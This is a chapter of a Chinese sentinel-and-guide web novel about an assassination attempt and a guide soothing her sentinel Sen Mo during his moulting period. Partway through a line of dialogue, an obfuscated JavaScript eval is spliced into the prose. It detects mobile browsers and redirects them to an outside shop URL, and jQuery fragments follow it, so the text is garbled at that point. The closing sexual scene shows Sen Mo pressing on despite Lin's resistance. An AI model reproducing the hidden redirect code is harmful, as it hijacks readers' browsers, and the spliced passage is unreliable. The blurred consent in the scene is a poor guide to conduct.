距离欢迎日已经过去一周,秋的尸体也被火化了。
医院里,祝翥抚摸心脏上的疤痕,那里已经长出粉嫩的新肉。
今天是祝翥出院的时间,林时雨并没有来看他。
她应该很忙,祝翥想,发给她的消息总是隔了十几分钟才收到回复。
走出医院大门,莱西蒲正等在门外。
他是受林时雨所托,在接她回白塔的路上,顺道来医院接祝翥。
莱西浦并不乐意照顾祝翥,但如果让他在“林时雨亲自来接”和“自己代劳”之间选一个,莱西蒲觉得,他也能接受照顾祝翥的工作。
“时雨大人最近应该很忙吧?”车上,祝翥询问道。
“她什么时候不忙?也只有某些扮可怜的高手,才会不顾她又忙又累,只想着骚扰她。”
祝翥没在意莱西浦的阴阳怪气。
车驶入疏导室的区域,他看向窗外:“最近,白塔里的守卫哨兵变多了。”
“是啊。”莱西蒲的表情变得认真:“我总有一种风雨欲来的感觉。”
一级重刑犯灰茫·瑞比潜逃。
作为监管灰茫的队伍,森之队早已做好准备,等待科椿回来接受处罚。
但,在科椿预期回归的前一天,发生了一件惊动整个南之边界的事——塔主科椿·安比列在回程途中遭遇刺杀,生死未卜。
车停在疏导室门口,莱西浦转头看向面色沉重的祝翥:“好心提醒你,最近可别招惹森摩。安比列家最近已经足够焦头烂额了,而且,他也快到蜕皮期了。”
——————————
以赛今天又早退了。但相比科椿还在白塔的时候,他最近上班的频率可以说是十分积极了。
因为翘了好几场疏导,再加上远巡时没能及时疏导“狂鲨”导致对方精神崩溃的那件事,军团里的一些中立方隐约对他有了意见。阿西塔莉亚和以赛同在第二层的疏导室,已经敲打过他,让他最近少出风头。
疏导室的大楼下守着林时雨的专属哨兵。
自从上次在疏导室里发生疑似向导遇袭的事件后,森之队三人开始轮流在楼下值守。
今天守在门口的人是,森摩。
以赛轻飘飘地扫了森摩一眼。
在一群不服管教的哨兵里面,森摩·安比列也是出了名的刺头。
以赛被森摩举报过。
他只是疏导得敷衍了一点,又不是放鸽子不疏导。而且森摩的精神体是森蚺,他的水豚天生就怕这种蛇类。他愿意耐着性子疏导,已经是给安比列家面子了。
至于森摩为了疏导消耗了自己的积分?那又怎样呢?
虽然投诉对以赛一点影响也没有,但如果自己的哨兵队伍再强一点,还会有人敢投诉自己吗?
以赛心里不快,他走到森摩身边,想打探一件事:“科椿不在,你还有心思守在这儿?”
森摩看了他一眼:“有什么事吗,以赛大人。”
“听说灰茫从牢里逃出来了。以森之队的实力,她能从你们手里跑掉?”以赛压低声音:“告诉我一些有关她逃跑时的内情呗,是林时雨让你们这么做的吗?”
“无可奉告。以赛大人,审讯队是科椿大人的直属部队,就算要向您汇报,也得先征得他的同意。”
安比列家一向眼高于顶,科椿不在,他也敢这么嚣张。以赛心里升起无名火。
“喂,森摩。你就不觉得你的向导很可怕吗?她当初多宠爱灰哨啊,放着你和金之队不选,现在还不是说扔就扔。你就不怕自己也是这样的下场吗?”
森摩总算正眼看向面前的向导,他吐出一个字:“滚。”
“你说什么?”以赛怀疑自己是不是听错了。
安比列家族是白塔的忠实拥护者,森摩·安比列就算再不服管教,也从不会对向导出言不逊。
“我不想再重复第二次。”森摩看了眼时间,她应该快下班了。
他现在,心情很烦躁。
以赛还想说些什么。
一只手将森摩拉至自己身后。
“背后说同事的坏话真的好吗?以赛?”林时雨看着这个矮了她一头的少年。
林时雨没想到自己还得处理被低年级小男孩挑拔离间的问题。
对上林时雨的目光,以赛往后退了几步,他脸色不太好。
他的手心冒汗,手臂已经起了鸡皮疙瘩,心跳跳动的速度快得不正常。
这个眼神!
太像了。
真的……太像了。
他怎么现在才发现。
林时雨的眉眼,和那个女人,是如此相似。
他几乎要控制不住地全身颤抖。
见他不回答,林时雨拉着森摩离开。
以赛看着她的背影,跌坐在地上,刚刚,他有一瞬间的呼吸困难,几乎要喘不过气来。
——————
莱西浦已经开着车等在白塔外了。最近,总是他和祝翥轮流开车。
林时雨坐在副驾驶。
她回过头关心祝翥:“抱歉,最近白塔实在有些忙,我没有赶来接你出院。你的伤口还疼吗?”
“不用特地来接我的,我已经好了很多。”祝翥不自觉地抚上心口,心脏涌起一股滚烫的热流,他情不自禁露出微笑。
手臂上的龙骨图腾,心口处的疤痕,都是她给他的礼物,是她给他的恩赐。
是她赐予他,腐朽之后的新生。
森摩冷眼看着他们聊天。
他压下心底的酸涩。
晚餐大家聚在一起吃的。
森摩率先提起话题:“也该定下义务疏导的地点了。”
向导通常只在白塔进行疏导,白塔位于边界都城,是权力的中心。但南之边界除了都城,还有不少偏远的分区,虽然偏僻,但也驻扎着一定数量的民众。
向导的经济来源,大部分依靠向导素的售卖,但也会接受一些分区的赞助。
“秋天是义务疏导的季节,我们该挑个心仪的分区了。”森摩说。
他其实已经想好了。
森摩做足了功课,他调查了林时雨的身世:她有一半的东边界血统,母亲是东边界的哨兵,来南边界行商时与一位南边界的哨兵相遇。后来两人参与边界战争,再无音讯。哨兵之间极难受孕,因此林时雨是试管婴儿。
他把目标定在向导曾经的家乡——A区,一个紧邻裂隙、一半土地都被划为禁地的地方。
虽然A区一向是阿西塔莉亚负责的区域,但安比列家想抢,也能抢到。
两个方向的声音打断了他的思绪。
“我想去D区。”
“还是去D区吧。”
同样的想法,两种声音。
林时雨看向莱西浦,她想去D区,是因为小蒲正在D区维修。
“我想,向导大人应该也想去D区接小浦吧?”莱西浦笑了笑:“好巧,我们想到一起去了呢。”
森摩气得少吃了两碗饭。
晚上,林时雨从卧室出来。她刚洗了澡,穿着睡衣,准备去冰箱拿水。
分化为向导后,生活里的琐事小蒲都会安排好,没有小蒲在身边,她还是有些不习惯。
门打开一点缝隙,林时雨看见缩在门外的大块头。
森摩像一个长在角落里的阴沉黑皮肌肉大蘑菇。
如果这个巨型蘑菇没有长在她门口就更好了。
林时雨弯下腰,偷看森摩的表情。
他猛地抬起头。
林时雨吓了一跳。
看见森摩直愣愣地盯着自己,林时雨有些不自在:“森摩,你最近需要疏导吗?专属哨兵可以不用预约哦。”
森摩知道,林时雨其实是在问:你还好吗?
他露出一个苦笑:“其实我并不担心太爷爷,安比列家的人不会那么轻易死去。”
“我最近这个状态,是因为蜕皮期。”
林时雨想起来了,森摩的精神体是森蚺。
有部分哨兵会受到精神体的影响,染上精神体的习性。
就像森摩,他的食量在哨兵里也算惊人,还有着和蛇类一样的蜕皮期。
“蜕皮期的时候,视力也会下降。”难怪最近都是莱西浦和祝翥负责开车。
“我的性格也会变得……不太像我自己,会很敏感、脆弱。”森摩有些难以启齿,与林时雨坦言自己的蜕皮期会让他觉得自己与野兽无疑。
林时雨看着他落寞的样子。
黑皮大块头男人缩在角落:“我想找一个能让我安心的地方度过蜕皮期,我在这里就很好。”
既然他说他能自己熬过去,林时雨决定无视他进出卧室。
就这样无视了两天。
第三天,林时雨戳了戳角落里的肌肉蘑菇,她问他:“这种状态会持续多久呢?”
“大概还有2到3天。”森摩也有些不太确定:“是打扰到您了吗?”
林时雨看着他,有些无奈:“来我房间吧。”
林时雨坐在床上,朝森摩拍了拍身边的位置。
她决定速战速决:“把你的精神体放出来吧。”
森摩犹豫了一会儿,又站起身。
“又怎么啦?”林时雨看着大块头拘谨地站在房间中央。
“现在,它很丑。而且……你也不喜欢它。”
“我没有精神体歧视,森摩。”林时雨试图解释。
“那,能不能关上灯。”
“不可以。”关上灯什么也看不见,她无法精准地运用向导素。
“你果然不喜欢我。你讨厌我吗?”
“整个小队里,我和你的匹配度最低。”
“我长得黑,没莱西蒲和祝翥好看,性格也不好,又争又抢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620878|205908||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
“要不是我很强,这辈子都不会有专属向导。”
“我给你发的消息,你也不回复。”
林时雨终于忍不了了:“那是因为你总是发一些炫耀自己、取笑别人的话。”
“但你会回复祝翥和莱西蒲的消息啊!”
林时雨气得在床上站起来锤他的头:“你这个自大又贪婪的臭蘑菇!我确实最不喜欢你,你满意了吧?”
祝翥和莱西蒲给她发的都是很正常的内容啊!
“怎么可以这样。怎么可以这么偏心。”
“祝翥比我重要,他是初始哨兵,算他走运。”
“莱西蒲也比我重要,他和你的匹配度最高,你们还能异口同声地想到同一件事。”
“那灰茫又凭什么呢?她还破坏了你的欢迎日!”
“这个世界怎么可以这么不公平,我这么喜欢你,可是你对我的匹配度却这么低。”
森摩越说越委屈:“我已经,去尝试,成为你所喜欢的样子了。”
“可是,你好些并不喜欢我的这些努力。”
“你说我嘲笑欺负别人,可是我从来没有嘲笑过你,也没有伤害你。我是那样的、喜欢你。”
林时雨偏过头:“森摩,你不要说这些。我现在只是在给你疏导。”
森摩安静了片刻。
他哭了出来。
林时雨放出向导素。
他稍微冷静了一些。
“森摩,我有时候会想,你现在是很喜欢我,可是,如果有一天我失去你的喜欢,你是不是也会取笑、伤害我呢。”
“我怎么会那样对你!”
“你太过分了!怀疑我的真心还要羞辱我,就算你是向导,也不能这么对我……”
森摩·安比列一直都是家族的骄傲,就连严格的科椿都会偏爱他几分。
他突然想到什么,表情变得凶狠:“是有人这样对你吗?他取笑你、伤害你了吗?告诉我是谁,我替你杀了他。”
林时雨有一瞬的恍然若失,记忆里,应该是没有这样的人。
她向森摩道歉:“对不起,森摩。我不应该质疑你的喜欢。其实,我也没有那么讨厌你。”
“你很好看,我很喜欢你蓝色的眼睛,像星空一样。”
“真的吗?”森摩又重新坐在她身边,紧紧依靠她。
“可是。”他说:“蜕皮的后期,我的眼睛会有一层白膜,不是蓝色的,一点也不好看。”
林时雨把灯光扭小:“我保证,不会看你眼睛,也不会看你的精神体。”
她看着他的脸,诱哄到:“放出森蚺好吗?我让蒲公英来安抚它。”
“可是。”森摩还在纠结:“我现在视力很不好,就算你看了,我也不知道。”
“那你出去好了,继续蹲在门口当蘑菇。”林时雨假装在生气。
“不,我不要走。”见林时雨不再看他,森摩的声音有些急切:“我向你道歉。你不要生气可以吗?”
“这就是你道歉的方式吗?”林时雨使出浑身的力气想推开他。
床上,森摩捂住向导的眼睛,壮实的肌肉压了下来,就连向导的影子也能全部盖住。
“我会把森蚺放出来的。”他在她耳边小声地说:“它很喜欢蒲公英,您可以把蒲公英放出来吗?”
森蚺紧紧地缠着蒲公英,森摩就紧紧地抱着林时雨。
他松开捂着向导眼睛的手。
“时雨,时雨。”
“怎么了?”向导被他紧紧抱在怀里,有些不情愿。
他的视力已经恢复了。他知道向导已经看见自己颜色黯淡的精神体了。
“只是大腿可以吗?”那个东西一直抵在睡裙下、漂亮的白色大腿上,有些难受:“蜕皮期,需要摩擦。”
“森摩。你不可以这么贪心。”
但是稍微更过分一点也没关系吧?
现在,向导不会害怕他,也不会讨厌他。
森摩的体力很好。肌肉的线条匀称流畅,充满了蓄势待发的力量。
“要是我一直都是蜕皮期就好了。”
“你现在会更喜欢我吗?”
“以后,也可以一直陪我度过蜕皮期吗?”
林时雨根本没听清他在说什么,只是嗯嗯/啊啊的回答。
“你真好。”
“好喜欢你。”
森摩俯在她的脖颈,喃喃自语。
她是他的。
漂亮的、散发着香味的、属于他的向导。
“大腿,都磨红了。”
“我舔一舔可以吗。”
林时雨已经没有力气朝他扔枕头了。
脖颈上都是他的口水。
“带着你的臭蛇滚。”
门外,莱西蒲安静地听完。
小浦不在,他负责继续记录向导起居注。